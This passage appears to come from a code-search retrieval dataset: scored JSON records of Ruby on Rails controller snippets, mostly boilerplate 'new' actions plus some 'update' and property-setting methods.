= Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end", "title": "" }, { "docid": "e403df08a3159b946b95987146c4d678", "score": "0.6452431", "text": "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end", "title": "" }, { "docid": "26d845d2dead261bedf2ab9cb2431fd3", "score": "0.6426334", "text": "def new\n @entry = Entry.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end", "title": "" }, { "docid": "f9143b37210f4c826400cc3bb027e7c2", "score": "0.6325261", "text": "def new\n @waypoint = Waypoint.new\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @waypoint }\n format.json { render :json => @waypoint }\n end\n end", "title": "" }, { "docid": "e490bfd98725abd73ac4210fcaf61dae", "score": "0.63154227", "text": "def new\n @appt_request = ApptRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @appt_request }\n end\n end", "title": "" }, { "docid": "344e6da80aeb93ed63c27454549e4ee4", "score": "0.63138133", "text": "def api_points_new_post(opts = {})\n api_points_new_post_with_http_info(opts)\n nil\n end", "title": "" }, { "docid": "b8ff77b0ad99031dad3a430137b639dd", "score": "0.6313131", "text": "def new\n @point = Point.new\n @participants = Participant.find(:all)\n @point_types = PointType.find(:all)\n @points = Point.order('created_at desc').limit(3)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @point }\n end\n end", "title": "" }, { "docid": "16b9569dda70acebb63f5bd8a1a2b09a", "score": "0.6279941", "text": "def new_rest\n @page_usage = PageUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page_usage }\n end\n end", "title": "" }, { "docid": "2db4acd3c6bcdad55c20296b969bc3a9", "score": "0.6277864", "text": "def new\n @addp = Addp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @addp }\n end\n end", "title": "" }, { "docid": "baf6079ce8d80790117ed69dd2d6de88", "score": "0.62572694", "text": "def new\n @eep = Eep.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @eep }\n end\n end", "title": "" }, { "docid": "bf9c0879d87aca81eb4c36b6b9e3b4ee", "score": "0.625556", "text": "def new\n @time_entry = TimeEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @time_entry }\n end\n end", "title": "" }, { "docid": "0ba15e05d90b0006cc6016be89bc11e0", "score": "0.62467116", "text": "def new\n @ads_point = AdsPoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ads_point }\n end\n end", "title": "" }, { "docid": "17bfc2f871469608c48ff52c86a70099", "score": "0.623497", "text": "def new\n @route_point_tag = RoutePointTag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route_point_tag }\n end\n end", "title": "" }, { "docid": "127463a0ce6cc3bf58f24dc3534b9022", "score": "0.6209895", "text": "def new\n @task_entry = TaskEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task_entry }\n end\n end", "title": "" }, { "docid": "e0e380e7e150d4745587d760f24034f6", "score": "0.62087834", "text": "def new\n @point = Point.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @point }\n end\n end", "title": "" }, { "docid": "e0e380e7e150d4745587d760f24034f6", "score": "0.62087834", "text": "def new\n @point = Point.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @point }\n end\n end", "title": "" }, { "docid": "e0e380e7e150d4745587d760f24034f6", "score": "0.62087834", "text": "def new\n @point = Point.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @point }\n end\n end", "title": "" }, { "docid": "e0e380e7e150d4745587d760f24034f6", "score": "0.62087834", "text": "def new\n @point = Point.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @point }\n end\n end", "title": "" }, { "docid": "dd3b2d9389e04a9576a567b1a71fef56", "score": "0.6208709", "text": "def new\n @point = Point.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @point }\n end\n end", "title": "" }, { "docid": "81f9c78f23e2fd67f7dca465ef3df176", "score": "0.61883986", "text": "def new\n @piki_entry = PikiEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @piki_entry }\n end\n end", "title": "" }, { "docid": "92037e5ae190f1ed3d691115cc55a290", "score": "0.6167614", "text": "def new\n @usage_entry = UsageEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @usage_entry }\n end\n end", "title": "" }, { "docid": "501d7c7b69381b30eae7516585864c7a", "score": "0.61614776", "text": "def new\n @page_updated_info = PageUpdatedInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page_updated_info }\n end\n end", "title": "" }, { "docid": "388a6be14063cf194670db5cb13a470c", "score": "0.6152403", "text": "def new\n @instants = Instants.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instants }\n end\n end", "title": "" }, { "docid": "b0d90f9255e249cbd716114156bd5443", "score": "0.6142861", "text": "def new\n @forecast_point = ForecastPoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @forecast_point }\n end\n end", "title": "" }, { "docid": "67b4b9d0cef577758800202014adfc32", "score": "0.6135316", "text": "def new_rest\n @v1_page_usage = V1PageUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @v1_page_usage }\n end\n end", "title": "" }, { "docid": "ff1cac2754fd104790601cca54b8b721", "score": "0.6132911", "text": "def new\n @entry_type = EntryType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_type }\n end\n end", "title": "" }, { "docid": "f16bb37b34fdb6c72e61b4834a6734da", "score": "0.6123512", "text": "def new\n @addinfo = Addinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @addinfo }\n end\n end", "title": "" }, { "docid": "ca5f6a0e6114d341bf2be5a0a62a8164", "score": "0.6121057", "text": "def new\n @entry_meta = EntryMeta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_meta }\n end\n end", "title": "" }, { "docid": "de7b611abe02c75cca90de772324c43f", "score": "0.6112965", "text": "def new\n @lookup = Lookup.new\n\n @new_key = \" \"\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup }\n end\n end", "title": "" }, { "docid": "faa71f41e0abdf7c61b6863dd4eae0f2", "score": "0.6109754", "text": "def new\n @overview_point = OverviewPoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @overview_point }\n end\n end", "title": "" }, { "docid": "405af9c312a5548f6e71937f24651d69", "score": "0.6109427", "text": "def new\n @points_map = PointsMap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @points_map }\n end\n end", "title": "" }, { "docid": "23afed2d5a069211bb029ef436c40c5f", "score": "0.6101506", "text": "def new\n @point_of_interest = PointOfInterest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @point_of_interest }\n end\n end", "title": "" }, { "docid": "e284720809fd9693be4160c34e056810", "score": "0.6096091", "text": "def new\n @lookup_set = LookupSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_set }\n end\n end", "title": "" }, { "docid": "d364e92db1692a7f0e8dc70d5b0079ea", "score": "0.6095374", "text": "def new\n @version = @page.versions.new\n\n respond_to do |format|a\n format.html # new.html.erb\n format.xml { render :xml => @version }\n end\n end", "title": "" }, { "docid": "70c019e1e6e7bd9a070f4c6c37150329", "score": "0.6078918", "text": "def new\n @xml_feed_handler = XmlFeedHandler.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @xml_feed_handler }\n end\n end", "title": "" }, { "docid": "17f5cb702a0a73d51cbe5fb277f841b5", "score": "0.60616976", "text": "def new\n @line_eat = LineEat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @line_eat }\n end\n end", "title": "" }, { "docid": "5fc650a32de437203d7b48c1ae2f83e8", "score": "0.6056202", "text": "def new\n @geo = Geo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @geo }\n end\n end", "title": "" }, { "docid": "ae3a3f04e5554c6926235d27f2c1c80c", "score": "0.6053441", "text": "def new\n @add = Add.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @add }\n end\n end", "title": "" }, { "docid": "d14bf05d57304177c28572912b264e3a", "score": "0.60511774", "text": "def create\n @old_point = OldPoint.new(params[:old_point])\n\n respond_to do |format|\n if @old_point.save\n format.html { redirect_to(@old_point, :notice => 'Old point was successfully created.') }\n format.xml { render :xml => @old_point, :status => :created, :location => @old_point }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @old_point.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f4aa9bfd2243794580f5f989bb259c0", "score": "0.6043386", "text": "def new\n @shared_interest_point = SharedInterestPoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @shared_interest_point }\n end\n end", "title": "" }, { "docid": "879cb66276bd00e582f27d8e6667c581", "score": "0.60431075", "text": "def new\n @post155 = Post155.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post155 }\n end\n end", "title": "" }, { "docid": "523940dbc7c0a196e9452cb394411c5d", "score": "0.60368985", "text": "def new\n @post440 = Post440.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post440 }\n end\n end", "title": "" }, { "docid": "a6bb7bbf8a6ff94ba990a7a0f69516c2", "score": "0.60313576", "text": "def new\n @entry = Entry.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end", "title": "" }, { "docid": "46a3e7574984daf968dc9ecf9c52aa6d", "score": "0.6029806", "text": "def new\n @interest_point = InterestPoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interest_point }\n end\n end", "title": "" }, { "docid": "483594b6c505d0f0bf8781b8d2e84d2d", "score": "0.6029423", "text": "def new\n @xp = Xp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @xp }\n end\n end", "title": "" }, { "docid": "391886d3bd22ec28f87ce3530502624e", "score": "0.60281336", "text": "def new\n @post247 = Post247.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post247 }\n end\n end", "title": "" }, { "docid": "e27ddbb6cbcb896deeaa7368175b2718", "score": "0.602561", "text": "def new_rest\n @v1_data_element = V1DataElement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @v1_data_element }\n end\n end", "title": "" }, { "docid": "ac835a496ec634c64b7c9441a04794a1", "score": "0.60254985", "text": "def new\n @pinnacle_feed = PinnacleFeed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pinnacle_feed }\n end\n end", "title": "" }, { "docid": "48ed406611063fa6545ec53900159ccd", "score": "0.6020218", "text": "def new\n @entry = @location.entries.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end", "title": "" }, { "docid": "7b9c4ad7359a6579977e170b39c8b93b", "score": "0.6015016", "text": "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @entry }\n end\n end", "title": "" }, { "docid": "b05313d338b575cb2045b2aae4a18b7d", "score": "0.60080016", "text": "def new\n @update = Update.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @update }\n end\n end", "title": "" }, { "docid": "b05313d338b575cb2045b2aae4a18b7d", "score": "0.60080016", "text": "def new\n @update = Update.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @update }\n end\n end", "title": "" }, { "docid": "14d6f8115eacc617b3cd31576ceb6720", "score": "0.6001776", "text": "def new\n @pick_up_point = PickUpPoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pick_up_point }\n end\n end", "title": "" }, { "docid": "d0e9b8e349d7ee4916edb0b7ae262c53", "score": "0.6001535", "text": "def new\n @good_point = GoodPoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @good_point }\n end\n end", "title": "" }, { "docid": "0e4d11381c1f5ca478e676cfd223c676", "score": "0.5999915", "text": "def new\n @apply = Apply.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @apply }\n end\n end", "title": "" }, { "docid": "fc3f9d937fbd7b3714d38ffd1b56821c", "score": "0.59957576", "text": "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end", "title": "" }, { "docid": "fc3f9d937fbd7b3714d38ffd1b56821c", "score": "0.59957576", "text": "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end", "title": "" }, { "docid": "fc3f9d937fbd7b3714d38ffd1b56821c", "score": "0.59957576", "text": "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end", "title": "" }, { "docid": "fc3f9d937fbd7b3714d38ffd1b56821c", "score": "0.59957576", "text": "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end", "title": "" }, { "docid": "fc3f9d937fbd7b3714d38ffd1b56821c", "score": "0.59957576", "text": "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end", "title": "" }, { "docid": "fc3f9d937fbd7b3714d38ffd1b56821c", "score": "0.59957576", "text": "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end", "title": "" }, { "docid": "fc3f9d937fbd7b3714d38ffd1b56821c", "score": "0.59957576", "text": "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end", "title": "" }, { "docid": "fc3f9d937fbd7b3714d38ffd1b56821c", "score": "0.59957576", "text": "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end", "title": "" }, { "docid": "fc3f9d937fbd7b3714d38ffd1b56821c", "score": "0.59957576", "text": "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end", "title": "" }, { "docid": "fc3f9d937fbd7b3714d38ffd1b56821c", "score": "0.59957576", "text": "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end", "title": "" }, { "docid": "0488c70342af2b8c50db34355d5bbb4c", "score": "0.5992479", "text": "def new\n @given_lunch = GivenLunch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @given_lunch }\n end\n end", "title": "" }, { "docid": "2a57c2f7ff395511a0fe43196916a779", "score": "0.5989569", "text": "def new\n @end_point_tag_rel = EndPointTagRel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @end_point_tag_rel }\n end\n end", "title": "" }, { "docid": "30d0ad7a2dc660684f84e50946b6b8a2", "score": "0.5987865", "text": "def new\n if is_admin?\n @credit = CreditPoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @credit }\n end\n end\n end", "title": "" }, { "docid": "1da2e4dac4361c5d53fe4be79c7eedfd", "score": "0.59807503", "text": "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @entry }\n end\n end", "title": "" }, { "docid": "1da2e4dac4361c5d53fe4be79c7eedfd", "score": "0.59807503", "text": "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @entry }\n end\n end", "title": "" }, { "docid": "40720aa605f0d28a0f36423b737f948d", "score": "0.5970205", "text": "def new\n @provider_location = ProviderLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider_location }\n end\n end", "title": "" }, { "docid": "aab3c52006dcc6848ad0fe6b1efa0655", "score": "0.596696", "text": "def new\n @post373 = Post373.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post373 }\n end\n end", "title": "" }, { "docid": "7009059165d84767c1426aea5b74aa6b", "score": "0.5958602", "text": "def new\n @entry = Entry.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @entry }\n end\n end", "title": "" }, { "docid": "be8f3108868541b3e3b6c8df2cb70940", "score": "0.59529644", "text": "def new\n @post160 = Post160.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post160 }\n end\n end", "title": "" }, { "docid": "0ee046e22abe8e6f51ed90401049eef2", "score": "0.5950556", "text": "def new\n @prayer_request = PrayerRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prayer_request }\n end\n end", "title": "" }, { "docid": "4d4f3808f0daee1b70fb41555ca002e2", "score": "0.59477675", "text": "def new\r\n @setpoint = Setpoint.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @setpoint }\r\n end\r\n end", "title": "" }, { "docid": "4f0bef714f3b886835f6e4735f86612b", "score": "0.59435093", "text": "def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider }\n end\n end", "title": "" }, { "docid": "4f0bef714f3b886835f6e4735f86612b", "score": "0.59435093", "text": "def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider }\n end\n end", "title": "" }, { "docid": "d9b1b2e3f9234d69aeb1da754def17db", "score": "0.59426725", "text": "def new\n @spot = Spot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spot }\n end\n end", "title": "" }, { "docid": "dc4127ed9796ebfa1e60ed1fd63f0c7f", "score": "0.5934197", "text": "def new\n @punch = Punch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @punch }\n end\n end", "title": "" }, { "docid": "dc4127ed9796ebfa1e60ed1fd63f0c7f", "score": "0.5934197", "text": "def new\n @punch = Punch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @punch }\n end\n end", "title": "" }, { "docid": "9231114b74f6a5a4f7d3e3221b80941b", "score": "0.59323925", "text": "def new\n val = Digest::SHA2.hexdigest(Time.now.utc.to_s)\n @trip = Trip.new(:sum => val.slice(0..9))\n @title = \"New Trip\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @trip }\n end\n end", "title": "" }, { "docid": "1ab508488759cfc0e64eb42c75323545", "score": "0.593073", "text": "def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feed }\n end\n end", "title": "" }, { "docid": "1ab508488759cfc0e64eb42c75323545", "score": "0.593073", "text": "def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feed }\n end\n end", "title": "" }, { "docid": "1ab508488759cfc0e64eb42c75323545", "score": "0.593073", "text": "def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feed }\n end\n end", "title": "" }, { "docid": "1ab508488759cfc0e64eb42c75323545", "score": "0.593073", "text": "def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feed }\n end\n end", "title": "" } ]
af630984682f1a0b5a68e6092af0d102
Update properties of this object
[ { "docid": "c185ed47a60d985c65611053ee48e075", "score": "0.0", "text": "def update!(**args)\n end", "title": "" } ]
[ { "docid": "184b1b1ed771473d3eb9f338c0734c38", "score": "0.73066413", "text": "def update *args\n opts = args.extract_options!\n fill_properties opts\n self.save\n end", "title": "" }, { "docid": "5076c5a88404ae72986f958710f5687a", "score": "0.72631145", "text": "def update(properties)\n @__hash__.update(properties)\n end", "title": "" }, { "docid": "60506d5995c168a570c84bcbafd6d01b", "score": "0.7164913", "text": "def update props\n # not an alias because doc\n put props\n end", "title": "" }, { "docid": "ec25850e7b3d73876b69868b5e566a7a", "score": "0.71243227", "text": "def update_properties(hash)\n hash.each do |key, value|\n self.send(\"#{key}=\", value)\n end\n end", "title": "" }, { "docid": "22938231f10efd60d4530259d1ab7161", "score": "0.7061904", "text": "def update_props(properties)\n fail 'not implemented'\n end", "title": "" }, { "docid": "22938231f10efd60d4530259d1ab7161", "score": "0.7061904", "text": "def update_props(properties)\n fail 'not implemented'\n end", "title": "" }, { "docid": "150fa2bdc1fc43d28ac45e2278a1f797", "score": "0.7012263", "text": "def update_properties(hash)\n hash.each do |key, value|\n setter_method = \"#{key}=\"\n if self.respond_to?(setter_method)\n self.send(setter_method, value)\n end\n end\n end", "title": "" }, { "docid": "b46342a57789464175130c5171865a4f", "score": "0.69842774", "text": "def update_properties(props)\n load_properties(force: true)\n\n deep_merge = proc do |_, old_value, new_value|\n if old_value.is_a?(Hash) && new_value.is_a?(Hash)\n old_value.merge(new_value, &deep_merge)\n else\n new_value\n end\n end\n\n props = properties.merge(props || {}, &deep_merge)\n save_properties(properties.merge(props || {}))\n self\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "4aa62f56c7ec71b9c7d914558501001b", "score": "0.67206186", "text": "def update\n update_obj\n end", "title": "" }, { "docid": "10e41ec39ba2af73495ccece21c2d8a3", "score": "0.6709326", "text": "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end", "title": "" }, { "docid": "b0508d605628b9b1ec78fe5f0697a746", "score": "0.67057854", "text": "def update_properties(hash)\n hash.each_pair do |k, v|\n self.set_property_value(k.to_s, v)\n end\n end", "title": "" }, { "docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7", "score": "0.6696149", "text": "def update(attrs)\n super(attrs)\n end", "title": "" }, { "docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7", "score": "0.6696149", "text": "def update(attrs)\n super(attrs)\n end", "title": "" }, { "docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7", "score": "0.6696149", "text": "def update(attrs)\n super(attrs)\n end", "title": "" }, { "docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7", "score": "0.6696149", "text": "def update(attrs)\n super(attrs)\n end", "title": "" }, { "docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7", "score": "0.6696149", "text": "def update(attrs)\n super(attrs)\n end", "title": "" }, { "docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7", "score": "0.6696149", "text": "def update(attrs)\n super(attrs)\n end", "title": "" }, { "docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7", "score": "0.6696149", "text": "def update(attrs)\n super(attrs)\n end", "title": "" }, { "docid": "d9b090f93fdffad34c5489c4c437c6f3", "score": "0.6662612", "text": "def update_properties(properties_element)\n end", "title": "" }, { "docid": "b7ed68c679d7eaccf546a282fab6e985", "score": "0.66259164", "text": "def apply\n update_keys\n update_columns\n update_properties\n end", "title": "" }, { "docid": "769b77b7f7f9f82ae847f5968eb201dc", "score": "0.6571848", "text": "def update_self obj\n obj.each do |k,v|\n instance_variable_set(\"@#{k}\", v) if v\n end\n end", "title": "" }, { "docid": "769b77b7f7f9f82ae847f5968eb201dc", "score": "0.6571848", "text": "def update_self obj\n obj.each do |k,v|\n instance_variable_set(\"@#{k}\", v) if v\n end\n end", "title": "" }, { "docid": "137759bf2b87f1ca55eb78e668747d15", "score": "0.6539236", "text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n end", "title": "" }, { "docid": "137759bf2b87f1ca55eb78e668747d15", "score": "0.6539236", "text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n end", "title": "" }, { "docid": "137759bf2b87f1ca55eb78e668747d15", "score": "0.6539236", "text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n end", "title": "" }, { "docid": "137759bf2b87f1ca55eb78e668747d15", "score": "0.6539236", "text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n end", "title": "" }, { "docid": "137759bf2b87f1ca55eb78e668747d15", "score": "0.6539236", "text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n end", "title": "" }, { "docid": "137759bf2b87f1ca55eb78e668747d15", "score": "0.6539236", "text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n end", "title": "" }, { "docid": "862f7aa179e3e1751693f78772c09a99", "score": "0.65159345", "text": "def assign_properties(properties); end", "title": "" }, { "docid": "328c68b6c30673dac05ca930f5da533c", "score": "0.6458067", "text": "def update_attributes(attrs)\n self.update(attrs)\n end", "title": "" }, { "docid": "328c68b6c30673dac05ca930f5da533c", "score": "0.6458067", "text": "def update_attributes(attrs)\n self.update(attrs)\n end", "title": "" }, { "docid": "d8b3bf9ec121e23dad3af2edca6e6094", "score": "0.6421526", "text": "def update(attributes); end", "title": "" }, { "docid": "63cce5e99d8dc677403b00708afc27c9", "score": "0.641709", "text": "def update\n @prop.update_attributes(prop_params)\n respond_with @prop, location: backstage_scene_props_path\n end", "title": "" }, { "docid": "3dc790e8b6e9e65eb288c97798a4c7f2", "score": "0.64154994", "text": "def set_properties inst\n model.properties.find_all { |p| model.updatable?(p.name) }.each do |p|\n inst.send(\"#{p.name}=\".to_sym, params[p.name.to_s]) if params.has_key?(p.name.to_s)\n end\n inst\n end", "title": "" }, { "docid": "9373755ebb61f1f274f6c8504a5acace", "score": "0.64146614", "text": "def reload(props = {})\n reset_changes\n super\n assign_attributes(props)\n self\n end", "title": "" }, { "docid": "fb68247cb1373a6c71a42a2aa69f1dcb", "score": "0.64143723", "text": "def update(attrs)\n @attrs = attrs\n self\n end", "title": "" }, { "docid": "fb68247cb1373a6c71a42a2aa69f1dcb", "score": "0.64143723", "text": "def update(attrs)\n @attrs = attrs\n self\n end", "title": "" }, { "docid": "23eb6f5fbeae4bf9f56ac93a4126b4b5", "score": "0.6389745", "text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end", "title": "" }, { "docid": "71d6a0160cffce28db4d0a25d6dbda13", "score": "0.6385747", "text": "def update!(**args)\n @count = args[:count] if args.key?(:count)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "9b95f8bc66f32e7ebbe7e63224d1ebaf", "score": "0.6364864", "text": "def update(attributes)\n attributes.each do |name, value|\n self[name] = value\n end\n end", "title": "" }, { "docid": "575f3d0c94f466263e302883e13868a6", "score": "0.6330631", "text": "def _update\n update!\n end", "title": "" }, { "docid": "7c6d5966289f9347f75aa7b24903a328", "score": "0.6327251", "text": "def _update!\n self.class.properties.each do |property, predicate|\n if dirty?(property)\n self.class.repository_or_fail.delete([subject, predicate[:predicate], nil])\n if self.class.is_list?(property)\n repo = RDF::Repository.new\n attribute_get(property).each do |value|\n repo << RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(value, self.class.properties[property][:type]))\n end\n self.class.repository_or_fail.insert(*repo)\n else\n self.class.repository_or_fail.insert(RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(attribute_get(property), self.class.properties[property][:type]))) unless attribute_get(property).nil?\n end\n end\n @attributes[:original][property] = attribute_get(property)\n 